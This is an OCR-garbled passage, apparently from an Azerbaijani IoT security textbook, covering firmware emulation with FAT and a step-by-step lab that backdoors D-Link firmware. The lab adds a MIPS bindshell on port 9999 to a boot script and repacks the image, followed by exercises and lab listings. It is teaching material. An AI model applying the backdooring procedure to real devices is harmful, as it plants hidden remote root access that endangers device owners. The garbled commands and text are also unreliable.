/home/oit/Downloads/firmware-analysis~toolkit/firmaedyne/sources/extractor/extractor.py ~b Dlink -sql 127.0.0.1
-np -nk “Dlink_firmware.bin" images
test
The database ID is 1
Getting image type
Password for user firmadyne: fj

Sakil 9.48. FAT ila firmware emulyasiyast icrasi

Bu skript firmware image-i analiz edir, arxitektura vo digor xiisusiyyatlori
miioyyonlosdirir, PostgreSQL verilonlor bazasinda qeydiyyat aparir vo sonunda
soboko baglantis1 qurur.

Ogor hor sey gqaydasinda gedorso, naticodo asagidaki IP iinvani gostorilir
(Sakil 9.49):

Router interfeysini (mosoalon: 792.168.0.1) brauzerdo acaraq real cihazin

interfeysini aldo etdiyimiz kimi baxmaq olar. Bu halda, giris {i¢iin admin istifadogi
ad1 vo sifro olmadan daxil olmaq miimkiindiir.
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Password for user firmadyne:

Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel with disk identifier @xb8d30f30.

Changes will remain in memory only, until you decide to write them.

After that, of course, the previous content won't be recoverable.

Warning: invalid flag ©x0000 of partition table 4 will be corrected by w(rite)
Building a new DOS disklabel with disk identifier 9x748d4@d4.

Changes will remain in memory only, until you decide to write them.

After that, of course, the previous content won't be recoverable.

Warning: invalid flag ©x@000 of partition table 4 will be corrected by w(rite)

mke2fs 1.42.9 (4-Feb-2014)

umount: /home/oit/Downloads/firmware-analysis-toolkit/firmadyne/scratch/1/image: device is busy.
(In some cases useful info about processes that use
the device is found by lsof(8) or fuser(1))

Please check the makeImage function

Everything is done for the image id 1

Setting up the network connection

Password for user firmadyne:

gemu: terminating on signal 2 from pid 7326

Querying database for architecture... mipsel

Running firmware 1: terminating after 60 secs...

Inferring network...

Interfaces: [('br®', '192.168.0.1')]

Done!

Running the firmware finally :

Sakil 9.49. Firmware ugurla emulyasiya olunur

S| NETGEAR' WNAP320 |

® : - -

-

- :
3 _
B

. 1

B _

o
—_—

Sakil 9.50. Web interfeysa daxil olmaq miimkiin olur

9.7.4. Firmware-3 Arxa Qapi 9lavo Etmoak (Backdooring)

Firmware-o arxa gapi1 yerlosdirmok, tohliikosizlik todqigatgilarinin tez-tez
qarsilagdigr osas problemlordondir. ©gor cihazin imza dogrulama vo biitovliik
yoxlamasi funksiyalar1 zoifdirso vo ya iimumiyyotlo yoxdursa, hiicum edonlor
cihazin firmware faylim1 ¢ixarib onu doyisdirorok 6z arxa qapilarimi daxil edo
bilorlor. Bu doyisdirilmis firmware daha sonra real IoT cihazina yazilaraq cihaz
tizorindo uzaqdan nozaroti miimkiin eds bilor.

Bu hissado Dlink firmware niimunasi iizorindo isloyarok 9999 portunu agan
xiisusi bir arxa qapi1 olavo edocoyik. Firmware-i doyismok iigiin ovvoalco fayl
sistemini ¢ixarmali, sonra iso onu Firmware Mod Kit (FMK) alati ilo modifikasiya
etmoliyik:

e git clone https://github.com/brianpow/firmware-mod-kit.git

shared-ng.config faylinda BINWALK doyisonini Binwalk alstinin yerlosdiyi yola
uygun olaraq doyismok lazimdir (Sokil 9.51):

e BINWALK="/usr/local/bin/binwalk"
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GNU nano 2.2.6 1le: shared-ng.inc

JERSION=$(cat firmware_mod_kit_version.txt)
IMAGE_PARTS="$DIR/image_parts"
LOGS="$DIR/1logs"
CONFLOG="$L0GS/config.log"
BINLOG="$LOGS/binwalk.log"
ROOTFS="$DIR/rootfs"
FSIMG="SIMAGE_PARTS/rootfs.img"
HEADER_IMAGE="SIMAGE_PARTS/header.img"
FOOTER_IMAGE="SIMAGE_PARTS/footer.img"
FWOUT="SDIR/new-firmware.bin"
BINWALK="/usr/local/bin/binwalk"

Sakil 9.51. shared-ng.inc faylimin dayigdirilmasi

Firmware faylim firmware-mod-kit qovluguna kopyalayir vo extract-
firmware.sh skriptini igo saliriq:

e cp ~/lab/firmware/Dlink firmware.bin .
e ./extract-firmware.sh Dlink firmware.bin

-/tools/firmware-mod-kit .Jextract-firmware.sh Dlink_firmware.bin
Fxrmware Mod Kit (extract) 9.99, (c)2011-2013 Craig Heffner, Jeremy Collake

Preparing tools ...
untrx.cc: In function 'int main(int, chares)':

untrx.cc:173:48: warning: format 'Xlu’ expects argument of type 'long unsigned int’,
ize_t {aka unsigned int}’' [-Wformat=)

fprintf(stderr, * read %lu bytes\n", nFilesize);
A

Sakil 9.52. FMK ils firmware ¢ixarilmasi

Scanning firmware...

DECINAL MEXADECIMAL DESCRIPTION
W8 ox30 Unix path: /dev/mtdblock/2
9 Dxoe ulmage header, header size: 64 bytes, header CRC Ox7FEPEB26, created: 2010-11-23

11:58:41, image size: 878029 Lytes, Data Address: 9x80000000, Entry Point: 0xB0285990, data CRC: @x7C3CAESS, €
$: Linux, CPU: MIPS, image type: OS Kernel Isage, compression type: lima, nagn name: "Linux Kernel Isage®

16€ OxA8 LZMA coapressed data, properties: @x5D, dictionary size: 33554432 bytes, uncompre
ssed size: 2956312 bytes

917600 OxEeesd PackIng section delimiter tag, little endian size: 7348736 bytes; big endian size
1 2256896 bytes

917632 oxEQess Squashfs filesystem, little endian, non-standard signature, version 3.8, size: 22

56151 bytes, 1119 inodes, blocksize: 65636 bytes, created: 2010-11-23 11:68:47

Extracting 917632 bytes of header image at offset @

Extracting squashfs file system at offset 917632

Extracting squashfs files...

[sudo] password for oit:

Firmware extraction successful!

Firmmare parts can be found in '/home/oit/tools/firmeare-mod-kit/Dlink_firmware/s*

Sakil 9.53. Cixarilmus fayl strukturu

Cixarilan rootfs qovlugunda cihazin biitiin fayl sistemi yer alir. Arxa qap1
olava etmok {i¢iin bu fayl sistemino giris aldo edirik.

e MIPS iiciin arxa qap1 yazmagq v? tartib etmak

Arxa gap1 kodu bindshell adlanir vo TCP 9999 portunu dinloyan bir server
funksiyas1 yerina yetirir. Kod MIPS arxitekturasi ii¢iin tortib olunur. Tortibat {i¢iin
Buildroot istifads olunur:
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e wget https://buildroot.org/downloads/buildroot-
2015.11.1.tar.gz

e tar xzf buildroot*

¢ cd buildroot¥*

e make menuconfig

o Target Architecture — MIPS (little endian) Toolchain — GCC Compiler, Build cross
GDB for the host

Sonra bindshell.c
[ https://www.icloud.com/iclouddrive/048DAbEEYFSmWJpu5pAiCd8dgtiot sec labs ] fayh
MIPS {igiin belo tortib edilir:

e ./mipsel-buildroot-linux-uclibc-gcc bindshell.c -o
bindshell -static

Bindshell faylin1 kompilyasiya etdikdon sonra onu avtomatik basladilan bir
yera yerlogsdirmok lazimdir. Omoliyyat sistemindo bagslangicda (boot zamani)
avtomatik isloyon skriptlor asason /etc/init.d/ qovlugunda yerlosir. Bu qovluqdaki
skriptlorin oksoriyyoti iso aslindo /etc/scripts/ qovlugundaki fayllara simbollik
kecidlordir. Sokil 9.54-do gordiiylimiiz kimi, init.d qovlugunda olan S10system.sh
skripti aslindos /etc/scripts/system.sh faylina isaro edir.

~/tools/firmware-mod-kit/Dlink firmware/rootfs/etc/init.d 1s ~la
total 12

drwxrwxr-x 2 root root 4096 Nov 23 2010

drwxrwxr-x 9 root root 4096 Nov 23 2010

-rwxrwxr-x 1 root root 434 Nov 23 2010

lrwxrwxrwx 1 root root 22 Mar 21 17:10 ->

lrwxrwxrwx 1 root root 22 Mar 21 17:10 ->

lrwxrwxrwx 1 root root 21 Mar 21 17:10 ->

Sakil 9.54. init.d qovlugu

/etc/scripts/ qovluguna baxdiqda, Sokil 9.55-do gostorildiyi kimi, burada
sistemo aid miixtalif .sh fayllar yerlosir.

root root 4551 Nov 23 2010
root root 874 Nov 23 2010
root root 459 Nov 23 2010

=TWXIWXT—X
=TWXTWXY=X
=ITWXIWXI-X

~/tools/firmware-mod-kit/Dlink_firmware/rootfs/etc/scripts 1s -la
total 64
drwxrwxr-x 3 root root 4096 Nov 23 2010
drwxrwxr-x 9 root root 4096 Nov 23 2010
-IWXIwxr-x 1 root root 1723 Nov 23 2010
-rwxrwxr-x 1 root root 202 Nov 23 2010
-rwxrwxr-x 1 root root 202 Nov 23 2010
-rwWXIwxr-x 1 root root 292 Nov 23 2010
-rwxrwxr-x 1 root root 160 Nov 23 2010
-rw-rw-r-- 1 root root 6512 Nov 23 2010 layout_run.php
-rwxrwxr-x 1 root root 515 Nov 23 2010
drwxrwxr-x 2 root root 4096 Nov 23 2010
-YWXIrwxr-x 1 root root 136 Nov 23 2010
1
1
1

Sakil 9.55. Biitiin sistem skriptlarini saxlayan Scripts qovlugu
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Buradaki system.sh faylin1 agdiqda, o bir ne¢o xidmotlori iso salmaq iigiin
istifado olunur. Bu sababdon arxa gapim iso salmaq liclin bu fayl miikommal
secimdir (Sokil 9.56).

Buraya asagidaki sotri olavo edorak arxa qapini avtomatik baglada bilorik:

¢ echo "Starting the backdoor"
e /etc/templates/backdoor

Indi iso bindshell faylinm /etc/templates/ qovluguna yerlosdirmoaliyik ki, yuxarida
skript torafindon 1§90 salina bilsin. Bunun {i¢iin asagidaki omrlori icra edirik:

e cd ~/tools/firmware-mod-
kit/Dlink firmware/rootfs/etc/templates
e sudo cp ~/Downloads/buildroot-
2015.11.1/output/host/usr/bin/bindshell

GNU nano 2.2.6 File: system.sh
s' /bin/sh
Cast in
start)
> /dev/console
fresetd &
if [ -f /proc/rt2880/linkup_proc_pid 1; ther
$! > /proc/rt2880/linkup_proc_pid
Tl
> /dev/console
/etc/templates/scheduled.sh start > /dev/console
> /dev/console
/etc/scripts/layout.sh start » /dev/console
> /dev/console
/etc/templates/lan.sh start > /dev/console
> /dev/console
/etc/scripts/enlan.sh > /dev/console
> /dev/console
/etc/templates/wlan.sh start > /dev/console
> /dev/console
/etc/templates/gzone.sh start > /dev/console
/etc/templates/enable_gzone.sh start > /dev/console
> /dev/console
/etc/templates/rg.sh start > /dev/console
> /dev/console
/etc/templates/dnrd.sh start > /dev/console
# start 1:"1!"\»"1 dgaemon
/etc/scripts/misc/telnetd.sh > /dev/console

# Start UPNPD

Sakil 9.56. System.sh fayl

Arxa qap1 kodunu yerlosdirib system.sh skriptino olavo etdikdon sonra ndvbati
addim firmware-i yenidon yaratmaqdir. Bunun {i¢iin Firmware Mod Kit (FMK)
qovlugunda, Dlink firmware/ kataloqunun bir soviyya yuxarisina kecib asagidaki
omri icra edirik:

e ./build-firmware.sh Dlink_ firmware/ -nopad -min

Bu omr firmware-i tortib edir vo naticodo yeni bir squashfs fayl sistemi vo
binar fayl yaradir (Sokil 9.57).
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~/tools/firmware-mod-Kit ./build-firmware.sh Dlink_firmware/ -nopad -min oitlubuntu
Firmware Mod Kit (build) €.99, (c)2011-2013 Craig Heffner, Jeremy Collake

Building new squashfs file system,.. (this may take several minutes!)

Squashfs block size is 64 Kb

Parallel mksquashfs: Using 2 processors

Creating little endian 3.0 filesystem on /home/oit/tools/firmware-mod-kit/Dlink_firmware/new-filesystem.
squashfs, block size 65636.

[ 1 956/956 100%

Exportable Little endian filesystem, data block size 65536, compressed data, compressed metadata, compre
ssed fragments, duplicates are removed
Filesystem size 2240.31 Kbytes (2.19 Mbytes)
26.36% of uncompressed filesystem size (8499.15 Kbytes)
Inode table size 8067 bytes (7.88 Kbytes)
23.24% of uncompressed inode table size (34707 bytes)

Sakil 9.57. Yeni zararli firmware-in tortib olunmast

Tortib prosesi tamamlandiqdan sonra, Dlink firmware/ qovlugunda new-
firmware.bin adl1 yeni firmware fayl1 yaradilir (Sokil 9.58):

~/tools/firmware-mod-kit » cd Dlink_firmware
~/tools/firmware-mod-kit/Dlink_firmware 1s -la
total 5408

drwxrwxr-x 5 oit oit 4096 Mar 21 20:27 .

drwxrwxr-x 8 oit oit 4096 Mar 21 17:06

drwxrwxr-x 2 oit oit 4096 Mar 21 17:06

drwxrwxr-x 2 oit oit 4096 Mar 21 17:06

=L WY=————— 1 root root 2297856 Mar 21 20:27

-rw-rw-r-— 1 oit oit 3215488 Mar 21 20:27 new-firmware.bin

drwxrwxr-x 15 root root 4096 Nov 23 2010

Sakil 9.58. Yeni tortib edilmis zororli firmware artiq méovcuddur

Firmware artiq hazir oldugdan sonra onu FAT (Firmware Analysis Toolkit)
vasitosilo emulyasiya edo bilorik. Emulyasiya zamani firmware boot olunacaq vo
system.sh daxilindoki arxa qap1 (bindshell) avtomatik igo diigocok.

Asagidaki omrlo FAT-i iso saliriq:

e sudo ./fat.py

Ogor har sey diizgiin qurulubsa, skript sizo bir IP iinvan toyin edocok. Bu
niimunado IP tinvan 7/92.168.0.1 kimi gostorilmisdir.

Indi bu IP vo arxa gapinin agiq oldugu 9999 portu ilo netcat vo ya nc vasitosilo
gosulmaga cohd edirik:

e nc 192.168.0.1 9999

nc 192.168.0.1 9999
[~] Welcome to @0sandaMalith's Bind Shell
Welcome to Offensive IoT Exploitation

Sakil 9.59. Arxa qapiya ugurla qosulma va shell aldaetma
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Bu o demaokdir ki, artiq cihazin tizorinds root salahiyyatlori ilo omr icra edilo
bilar.

9.7.5. Firmware-3 Avtomatik Skanetma Alstlori ilo Hiicumlarin Aparilmasi

Firmware-do zoifliklori agkar etmoyin basqa bir faydali iisulu, miioyyon acar

s0z vo ya maraqli sotrlori avtomatik olaraq axtaran vo naticalori ¢ixaran

ssenarilordan istifade etmokdir. Bu ciir alstlori 6ziiniiz ds yaza bilarsiniz va ya artiq

movcud olan aciq monbali hollordon faydalana bilarsiniz. Bu bdlmoads istifads
etdiyimiz vasito Craig Smith torofindon hazirlanmis Firmwalker alotidir.

Biz artiq bu aloti FAT (Firmware Analysis Toolkit) repositoriyasini
klonlayarkon oldo etmisdik. Indi iso FAT qovlugundaki firmwalker qovluguna
kecok. Bu qovlugun data adli alt qovlugunda Firmwalker-in axtaracagi agar sotrlor
saxlanilir (Sokil 9.60).

Indi iso firmwalker.sh ssenarisini ¢alisdiraraq Dlink firmware.bin faylindan
cixarilmis squashfs-root/ sisteming totbiq edok:

e ./firmwalker.sh
~/lab/firmware/ Dlink firmware.bin.extracted/squashfs-root/

~/Downloads/firmware-analysis-toolkit/firmwalker/data 1s -la
total 40

drwxrwxr-x 2 oit oit 4096 Mar 21 16:59

drwxrwxr-x 3 oit oit 4096 Mar 21 16:59

-rw-rw-r-- 1 oit oit 63 Mar 21 16:59 binaries
-rw-rw-r-- 1 oit oit 19 Mar 21 16:59 conffiles
-rw-rw-r-- 1 oit oit 14 Mar 21 16:59 dbfiles
-rw-rw-r-— 1 oit oit 20 Mar 21 16:59 passfiles
-rw-rw-r-- 1 oit oit 71 Mar 21 16:59 patterns
-rw-Irw-r-- 1 oit oit 92 Mar 21 16:59 sshfiles
-rw-rw-r-- 1 oit oit 3@ Mar 21 16:59 sslfiles
-rw-rw-r-- 1 oit oit 30 Mar 21 16:59 webservers
~/Downloads/firmware-analysis-toolkit/firmwalker/data cat binaries
ssh

sshd

scp

sftp

tftp

dropbear

busybox

telnet

telnetd

openssl

Sakil 9.60. Firmwalker qoviugu

Bu omoliyyat basa ¢atdiqda, firmwalker.txt adli natico fayli yaranacaq. Bu
fayl firmware daxilindo tapilmis maraqli sotrlori oks etdirir vo potensial zoaifliklori
arasdirmagq tigiin ala baslangic noqtesi toqdim edir.

Bu bdlmads firmware-in daxili qurulusunu tohlil etdik vo firmware binary
faylindan fayl sistemini ¢ixarmagin yollarim1 Gyrondik. ©ldo etdiyimiz fayl
sistemindo analizlor apararaq real cihazlara slyetorli olmadan da firmware {izorindo
istismar vo tohliikosizlik yoxlamalari etdik.

Bundan olavo, firmware-i neco emulyasiya etmoyi, tok binary fayllarla
islomoyi, tam firmware tosvirini islotmoyi vo daxilino backdoor yerlosdirorok
cthazda avtomatik 159 salinmasini tomin etmoayi 0yrondik. ©lava olaraq, Firmwalker
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alotindon istifads edorok firmware-in daxilinde gizli, hossas vo tohliikali sotrlori
askar etdik.

Bu  texnikalar, todqiqatg¢ilara  IoT  cihazlarmin  tohliikosizliyini

qiymatlondirmokds vo miidafis planlar1 hazirlamagqda miithiim komak gostarir.

Tapsiriqlar

I. Fiziki interfeyslarls slago (UART, SPL, 12C, JTAG)

1.

kb

*®

10.

UART pinlorini tapin vo screen vo ya minicom ilo cihazdan konsol ¢ixist alin.
— Mogsad: Baud rate toyin edin vo boot mesajlarimi oxuyun.

UART vasitosila sistemdo root shell alds edin vo cat /etc/passwd amrini icra edin.
SPI interfeysi ilo flash yaddasdan f1ashrom istifads edorak firmware ¢ixarin.

SPI ilo ¢ixarilmis firmware.bin faylini binwalk ilo analiz edin.

I2C interfeysi ilo 12cdetect vo i2cdump istifads edorok EEPROM-un mazmununu
oxuyun.

EEPROM f{izarinds sads dayisiklik edin (masalon, geyd edilmis MAC {invanini doyisdirin)
va sistem davranisina tosirini miisahids edin.

JTAGulator ilo JTAG pinlorini tapin vo OpenOCD ilo mikrokontrollers qosulun.
OpenOCD vasitasilo mikrokontrollerden firmware ¢ixarin vo .bin kimi yadda saxlayn.
JTAG iizorindon dump image ilo miioyyon tinvanlardan yaddas oxuyun va sifro vo ya
"magic string" axtarin.

GDB vasitosilo verify pass () funksiyasina breakpoint qoyun vo strcmp noticosini
doyisdirorok dogrulama bypass edin.

II. Firmware Torsind Miihandislik vo Arxa Qapi 9lavasi

1.

binwalk -e ilo firmware-in fayl sistemini ¢ixarin vo squashfs-root daxilindo
system. sh vo rcS fayllarini analiz edin.

firmwalker istifado edorok firmware i¢cindo hard-coded credentials, API agarlar1 va s.
tapin.

radare2 1ilo firmware-doki libauth.so kitabxanasinda check login ()
funksiyasini tapin vo neco islodiyini arasdirin.

XOR ils sifrolonmis firmware ili¢lin hexdump analiz edin vo Python skript ilo desifro
edin.

Quragdirdiginiz backdoor (bindshell) faylini firmware-o slave edin vo system. sh
faylinda avtomatik iso diismasini tomin edin.

Buildroot vasitasilo MIPS arxitekturasi {igiin statik bindshell binary tortib edin.
Firmware Mod Kit vasitosilo doyisdirilmis firmware-i tortib edin vo new-
firmware.bin alin.

FAT (Firmware Analysis Toolkit) ilo yeni firmware-i emulyasiya edin vo web interfeyso
brauzer ilo daxil olun.

netcat voyanmap ilo port 9999-da acilmis arxa qapiya qosulun va root shell aldos edin.

.Wireshark vo ya tcpdump istifade edorok emulyasiya zamani soboka trafikini izloyin

vo HTTP login molumatlarini analiz edin.
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10.  IoT Tohlukasizliyi tizrs slavd Praktik Laboratoriya

Islori

10.1. ESP32 il> IoT Tahliikasizliyi iizra Laboratoriya Islari

Bu fasildo, IoT tohliikasizliylt movzusunda praktiki laboratoriya islori toqdim

olunur. Hor bir laboratoriya isi {i¢lin qisa tosvir vo yliklomoak iigiin link verilmisdir.
Tolobolor, bu laboratoriya islorini yerino yetirorok, IoT tohliikosizliyi sahasindo
praktiki bacariqlarini inkisaf etdira bilorlar.

Laboratoriya islorinin siyahisi:

1.

ESP32 ilo VS Code vo PlatformlO istifads edarak proqramlasdirma: Bu
laboratoriya isinde, ESP32 mikrokontrollerinin Visual Studio Code vao
PlatformlO  genislonmosi  vasitasilo  neco  proqramlasdirilacagini
Oyronocoksiniz.

ESP32 UART vo Flash Hack: Bu laboratoriya isi, ESP32-nin UART
interfeysi vo flash yaddasinin tohliikasizlik aspektlorini arasdirir.

. ESP32-nin JTAG vasitasilo ayiklanmasi:

o ESP32 vo ESP-PROG: PCB versiyasi: Bu laboratoriya isindo,
ESP32-nin ESP-PROG vasitosilo JTAG interfeysi ilo neco
ayiklanacagini1 dyronacoksiniz.

o ESP32 tatbiginin ESP-PROG ilo ayiklanmasi: JTAG ayiklayici
Bu laboratoriya isi, ESP32 totbiglorinin ESP-PROG vasitosilo JTAG
ayiklayici ilo neco ayiklanacagini izah edir.

ESP32-do WiFi vasitasilo asas OTA (Over-The-Air) yenilomoalori
Bu laboratoriya isi, ESP32-do WiFi vasitosilo OTA yenilomolorinin neca
hoyata kecirildiyini dyradir.

. HTTPS vasitasila tohliikasiz ESP32 OTA yenilomoalori: Bu laboratoriya

isindo, ESP32-do HTTPS protokolu wvasitosilo tohliikkesiz  OTA
yenilomolorinin neco hoyata kegirildiyini 0yronacoksiniz.
mitmproxy vasitasilo HT'TP vo HTTPS-o qars1 ortada adam hiicumlar:
(MITM) : Bu laboratoriya isi, mitmproxy alotindon istifado edorok HTTP vo
HTTPS protokollarina qarsi ortada adam hiicumlarinin neco hoyata
kecirildiyini izah edir.
Amazon AWS IoT vasitasilo ESP32-ds sobaka tohliikasizliyi
o AWS IoT MQTT Abuns/Paylasma ESP-IDF orijinal niimunasi
Bu laboratoriya isindo, AWS IoT platformasinda MQTT protokolundan
istifado edorok ESP32-nin neco abuno olub molumat paylasacagini
Oyronacoksiniz.

227



o AWS IoT MQTT Abuna/Paylasma PlatformIO ESP-IDF Layihasi
Bu laboratoriya isi, PlatformIO miihitindo ESP-IDF istifado edorok
AWS [oT MQTT abuna/paylagma funksiyalarini izah edir.

8. ESP32 AWS IoT ilo ATECC608A istifado edorok tohliikasiz olaqo
Bu laboratoriya isindo, ESP32 vo ATECC608A tohliikasizlik ¢ipindon istifads
edorok AWS IoT platformas: ilo tohliikesiz slagenin necs qurulacagini
Oyronacoksiniz.

9. Tohliikasiz yaddas

o ESP32 Flash Sifraloma: Bu laboratoriya isi, ESP32-do flash yaddasin
sifrolonmasi vo bunun tohliikasizlik aspektlorini izah edir.

o ESP32 Tohliikasiz Acar Saxlama: Bu laboratoriya isindo, ESP32-do
tohliikosiz acar saxlama mexanizmlori arasdirilir.

10.ESP32 Tohliikasiz Yiikloma: Bu laboratoriya i1si, ESP32-do tohliikasiz
yiikloma prosesini vo bunun neca hoyata keg¢irildiyini dyradir.

11.ESP32 Proqram Tahliikasizliyi Demo: Bu laboratoriya isinds, ESP32 {i¢iin
program tohliikasizliyi ilo bagli demo niimunalari taqdim olunur.

Qeyd: Bu laboratoriya islori, ABS Milli ElIm Fondu (NSF) torofindon dostoklonon
bir EDU layihosinin bir hissasidir. Layiha, Dr. Cliff Zou vo Yan Solihin (UCF), Dr.
Xinwen Fu (UML) vo Dr. Shuo Wang (UF) torofindon hoyata kecirilmisdir. Otrafli
kodlar va tolimatlar Dr. Xinwen Fu torofindon GitHub-da tomin edilmisdir.

Laboratoriya islorinin web linki: https://cyber.cs.ucf.edu/iot/

Laboratoriya islorini yiikloms linki:
https://www.icloud.com/iclouddrive/048DAbEEYFSmWJpu5pAiCd8dg#iot sec 1
abs

10.2. Laboratoriya Isi: IoT Cihazlarinin Program Taminatinin
Tarsina Miihandisliyi

Moqsad: Bu laboratoriya isinin moqsadi toloboloro IoT cihazlarinin proqram
tominatin1 torsino miihondislik (reverse engineering) edorak, cihazin daxili islomo
prinsiplorini vo miimkiin tohliikasizlik zaifliklorini miioyyon etmoayi dyrotmokdir.

Tasvir: Tolobolor, miioyyon bir [oT cihazinin program tominatini oldo edorok, onun
arxitekturasini tohlil edocok, disassembler vo digor torsino miihondislik alotlorindon
istifado edorok kodu arasdiracaq vo miimkiin zoifliklori miioyyon edocoklor.

Resurslar:

o IoT Cihazn1 Program Tominati Tohlili Alsti: Bu Python skripti, loT
cihazlarinin proqram tominatini tohlil edorak, torsino miihondislik vo zoiflik
analizi Giclin doyorli malumatlar oldo etmoyo komok edir.

228



( https://github.com/ericyoc/iot_device firmware analysis poc)

o Ghidra: NSA torofindon inkisaf etdirilmis, pulsuz vo agiq menbali torsinag
mithondislik alatidir. (https://ghidra-sre.org/)

Tapsiriqlar:

1. Cihazin Arxitekturasinin Miidyyan Edilmasi: Oldo edilon program
tominatinin hansi prosessor arxitekturasi liclin hazirlandigin1 miioyyon edin.
Bu, torsino miihondislik prosesinin ilk va vacib addimidir.

2. Disassembler Alstinin Secilmasi: Miioyyon edilmis arxitekturaya uygun
disassembler alatini secin vo proqram tominatini yiikloyin. Masalon, Ghidra
kimi alstlordon istifado edo bilorsiniz.

3. Program Tominatimin Yiiklonmasi vo Tohlili: Secilmis disassembler
vasitasilo program tominatini yiikloyin vo kodun strukturu, funksiyalar1 vo
mimkiin zoifliklori tohlil edin.

4. Arxitektura Xiisusiyyotlorinin Oyronilmosi: Tohlil edilon proqram
tominatinin arxitekturasina xas xiisusiyyatlori vo amrlori 6yronin. Bu, kodun
daha dorindon anlasilmasina komok edacak.

5. Torsina Miihandislik Prosesinin Aparilmasi: 9Oldo edilon molumatlar
osasinda proqram tominatinin funksionalligini torsino miihondislik edorak,
mimkiin tohliikesizlik zsifliklorini vo istismar yollarini miioyyon edin.

Qeyd: Bu laboratoriya isi, Apriorit sirkotinin togdim etdiyi "loT Firmware Reverse
Engineering" mogalosine osaslanir. Otrafli molumat {i¢iin moqgaloni oxuya bilorsiniz
(https://www.apriorit.com/dev-blog/reverse-reverse-engineer-iot-firmware).

10.3. Laboratoriya Isi: IoT Cihazlarinin Penetrasiya Testi
(PENIOT)

Moaqsad: Bu laboratoriya isinin mogsadi tolobolora IoT cihazlarinin tohliikasizlik
zaifliklorini miioyyon etmok va istismar etmok iigiin penetrasiya testi metodlarini
oyrotmokdir. Tolobalor PENIOT alotindon istifado edorok IoT cihazlarina yonalmis
miixtolif penetrasiya testlorini icra edacaoklor.

Tasvir: Bu laboratoriya isindo tolobolor IoT cihazlarinin osas tohliikosizlik
zoifliklorini arasdiracaq vo PENIOT alotindon istifado edorok real penetrasiya
testlori icra edocoklor. IoT cihazlarinin soboko vo program tominati soviyyoasindo
zaifliklorinin agkar edilmasi va tohlili asas mdévzu olacaq.
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Resurslar:

o PENIOT (Penetration Testing Tool for IoT) — [oT cihazlarinin penetrasiya
testlori Uc¢lin  hazirlanmis agiq monboali  alot. GitHub  Linki:
https://github.com/yakuza8/peniot

o Nmap: Soboks skani vo aciq portlarin miioyyan edilmasi {i¢iin istifads olunur.

o Wireshark & tshark: Soboko trafiki analiz etmok {i¢lin genis istifado edilon
alotlor.

« Kali Linux vo ya basqa bir penetrasiya testi miihiti: PENIOT vo digor
tohliikasizlik alatlorini islotmak {iciin.

Tapsirnqlar:

1. PENIOT Alstinin Qurasdirilmasi vo Konfiqurasiyasi
o Kali Linux va ya uygun bir mithitdo PENIOT alotini qurasdirin.
o 10T cihazlar {i¢ilin soboko monitoringini aktivlosdirin vo analiz {i¢iin
hazir vaziyyats gatirin.
2. Soboka Skam vo IoT Cihazlarinin Askarlanmasi
o Nmap istifade edorok 10T cihazlarinin sobokadoki varligini yoxlayin.
o loT cihazlariin agiq portlarini vo xidmatlorini analiz edin.
o Wireshark va tshark ilo cihaz trafiki {izerindo analiz aparin.
. TIoT Sobokasindo Zoifliklorin Askarlanmasi
o PENIOT vasitosilo IoT cihazlarinda olan zsifliklors qars testlor hoyata
kegirin.
o Sifrosiz vo ya zoif sifrolonmis soboko trafiki olan IoT cihazlarini
miuoyyon edin.
o Man-in-the-Middle (MITM) hiicumlar {c¢iin potensial zoifliklori
tohlil edin.
4. Protokol Tahlili vo Hiicum Simulyasiyasi
o MQTT, CoAP vo HTTP kimi IoT protokollarinin tohliikosizlik
aspektlorini arasdirin.
o MQTT brokera qars1 zaiflik testlorini icra edin.
o 10T cihazlariin yetorsiz autentifikasiya vo icazo mosalolorini miioyyon
edin.
5. Tahliikasizlik Tadbirlorinin Toklif Edilmasi
o Askar edilon zoifliklors qars1 miidafio mexanizmlarini totbiq edin.
o Soboko soviyyesindo IoT cihazlarinin tohliikosizliyini artirmaq tigiin
metodlar hazirlaym.
Qeyd: Bu laboratoriya isi PENIOT alatino osaslanir vo IoT cihazlarinin penetrasiya

testlori liclin real ssenarilori aragdirir.

(98]
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10.4. Laboratoriya Isi: OWASP ISTG il IoT Cihazlarinin
Tohliikasizlik Testi

Maqsad: Bu laboratoriya 1sinin magsadi tolobaloro OWASP IoT Security Testing
Guide (ISTG) cor¢givosindon istifado edorok IoT cihazlarimin tahliikasizliyini
yoxlamagi Oyrotmokdir. Burada tolaboalor IoT cihazlarimi miixtalif aspektlordon
analiz edocok vo OWASP torofindon miioyyon edilmis metodologiyalara osason
testlor icra edocoklor.

Tasvir: Bu laboratoriya isindo tolobalor OWASP ISTG metodlarindan istifads
edorak IoT cihazlarimin tahliikasizliyini dayarlandiracok, potensial zaifliklori
askarlayacaq vo onlarin istismari ii¢iin testlor aparacaqlar. OWASP torofindon toklif
edilon IoT tohliikasizlik test metodlar1 asas gotiiriilocok.

Resurslar:

OWASP IoT Security Testing Guide (ISTG) — IoT -cihazlarinin
tohliikasizliyini  test etmok iicin OWASP torofindon hazirlanmis
metodologiya.

GitHub Linki: https://github.com/OW ASP/owasp-istg

Nmap: Soboko skani vo agiq portlarin miioyyon edilmasi iigiin.

Wireshark & tshark: Soboko trafiki analiz etmok tigiin genis istifado edilon
alatlor.

Burp Suite: IoT veb interfeyslorinin tohliikasizlik testlorini aparmagq tigiin.
Binwalk, Ghidra, Firmware-Mod-Kit: IoT cihazlarmin program
tominatinin analiz edilmosi tigiin.

Kali Linux vo ya basqa bir penetrasiya testi miihiti: OWASP ISTG
metodlarini totbiq etmok tigiin.

Tapsinqlar:
1. OWASP ISTG il IoT Cihazlarinin Tahlili

o I0T cihazlarinin hansi kateqoriyalara aid oldugunu miioyyon edin
(sensorlar, sliizlor, agilli cihazlar va s.).

o Cihazin hiicum vektorlarim tohlil edin (soboko, bulud, fiziki
interfeyslor va s.).

2. Soboka Skani va Port Analizi

o Nmap vasitasilo 10T cihazlarinin agiq portlarinit miisyyon edin.
o Wireshark va tshark ilo IoT cihazlarindan golon trafiki analiz edin.

o MITM (Man-in-the-Middle) hiicum ssenarilorini OWASP ISTG
metodlaria uygun hoyata kecirin.

3. IoT Veb interfeysinin Tahliikasizlik Testi

o IoT cihazinin veb interfeysi varsa, Burp Suite vo digor veb
tohliikasizlik alatlori ila testlor aparin.
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o Autentifikasiya zoifliklorini miioyyan edin (zoif parollar, standart
giris molumatlari vo s.).
o SQL Injection vo XSS hiicumlan ii¢iin testlor hoyata keg¢irin.
4. Firmware Tohlili va Torsino Miihondislik (Reverse Engineering)
